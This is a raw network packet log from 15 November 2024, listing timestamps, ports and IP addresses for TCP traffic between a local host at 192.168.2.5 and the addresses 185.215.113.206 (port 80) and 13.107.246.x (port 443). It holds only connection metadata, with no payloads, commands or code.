Nov 15, 2024 16:16:29.880708933 CET	49832	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.881352901 CET	49832	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.881527901 CET	443	49832	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.881541967 CET	49832	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.908005953 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908021927 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908037901 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908121109 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908137083 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908153057 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908169031 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908185005 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908198118 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908196926 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908215046 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908237934 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908237934 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908237934 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908237934 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908277988 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908284903 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908288002 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908303022 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908318996 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908334017 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908355951 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908370972 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908370972 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908371925 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908385038 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908395052 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908406973 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908417940 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908423901 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908437014 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908452034 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908456087 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908456087 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908468962 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908483028 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908499956 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908502102 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908514977 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908515930 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908535004 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908545971 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908545971 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908572912 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908586979 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908600092 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908613920 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908628941 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908646107 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908653021 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908653021 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908653021 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908677101 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908679962 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908694983 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908725977 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908750057 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908751965 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908790112 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908790112 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908790112 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.908886909 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908901930 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908915043 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908921957 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908938885 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908946991 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908953905 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908968925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908976078 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908991098 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.908992052 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909001112 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909014940 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909017086 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909022093 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909039974 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909048080 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909145117 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909265041 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909288883 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909307003 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909322977 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909336090 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909336090 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909341097 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909347057 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909358978 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909362078 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909374952 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909375906 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909399033 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909427881 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909431934 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909444094 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909460068 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909476042 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909497023 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909497023 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909497023 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909501076 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909518003 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909533978 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909545898 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909552097 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909563065 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909576893 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909578085 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909601927 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909626961 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909641027 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909656048 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909668922 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909668922 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909668922 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909668922 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909670115 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909696102 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909708977 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909718990 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909718990 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909725904 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909739017 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909754038 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909765959 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909769058 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909780979 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909785032 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909802914 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909822941 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909822941 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909827948 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909845114 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909857988 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909867048 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909882069 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909900904 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909900904 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909902096 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909909010 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909914970 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909924984 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909939051 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909946918 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909954071 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909960985 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909965992 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909972906 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909981012 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.909981966 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909998894 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.909998894 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910020113 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910027027 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910032988 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910038948 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910053968 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910069942 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910125971 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910129070 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910145044 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910149097 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.910149097 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.910149097 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.910149097 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.910161018 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910176039 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910177946 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.910192013 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910207033 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910293102 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910312891 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910335064 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910351038 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910356998 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.910356998 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.910356998 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.910368919 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.910368919 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.910373926 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910391092 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910406113 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910414934 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.910414934 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.910420895 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910435915 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910449982 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910465002 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910481930 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910496950 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910506010 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.910506010 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.910506010 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.910512924 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910528898 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.910547972 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.910561085 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.910696030 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.927335024 CET	443	49832	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.948833942 CET	49831	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.948903084 CET	443	49831	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.949949980 CET	49847	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.949989080 CET	443	49847	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.950293064 CET	49847	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.959636927 CET	49847	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.959661007 CET	443	49847	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.960598946 CET	49834	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.960629940 CET	443	49834	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.961194038 CET	49834	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.961201906 CET	443	49834	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.961548090 CET	49840	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.961565971 CET	443	49840	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.962068081 CET	49828	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.962104082 CET	443	49828	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.962121010 CET	49828	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.962130070 CET	443	49828	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.963098049 CET	49841	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.963114023 CET	443	49841	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.964469910 CET	49825	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.964469910 CET	49825	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.964512110 CET	443	49825	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.964521885 CET	443	49825	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.020143986 CET	49848	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.020195007 CET	443	49848	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.020313978 CET	49848	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.020745039 CET	49849	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.020836115 CET	443	49849	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.020875931 CET	49848	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.020899057 CET	443	49848	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.020916939 CET	49849	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.021044016 CET	49849	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.021069050 CET	443	49849	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.021292925 CET	443	49832	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.021414995 CET	49832	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.021430969 CET	443	49832	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.021451950 CET	443	49832	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.021576881 CET	49832	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.022336006 CET	49832	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.022351980 CET	443	49832	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.022661924 CET	49850	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.022686005 CET	443	49850	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.022921085 CET	49850	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.023830891 CET	49850	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.023844957 CET	443	49850	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.025260925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025285959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025296926 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025331974 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025342941 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025347948 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.025377989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.025408983 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.025437117 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025448084 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025463104 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025473118 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025484085 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025576115 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025584936 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025635004 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.025635004 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.025635004 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.025635004 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.025635004 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.025639057 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025650024 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025660992 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025671959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025682926 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025758028 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025760889 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.025760889 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.025760889 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.025769949 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025783062 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025793076 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025804043 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025826931 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025834084 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025835991 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025841951 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025882006 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.025892973 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.025892973 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.025892973 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.025892973 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.025892973 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.026021004 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.026035070 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026065111 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026082039 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026107073 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026108980 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026118994 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026130915 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026139021 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026149988 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026160002 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026169062 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026180983 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026209116 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026213884 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.026213884 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.026222944 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026232004 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.026232004 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.026232004 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.026232004 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.026243925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026254892 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026267052 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026282072 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026293039 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.026293039 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.026293039 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.026298046 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026320934 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.026320934 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.026321888 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026333094 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026343107 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026354074 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026365042 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026375055 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026405096 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026415110 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026423931 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026518106 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.026518106 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.026518106 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.026518106 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.026518106 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.026518106 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.026592016 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.026671886 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.026752949 CET	80	49759	185.215.113.206	192.168.2.5
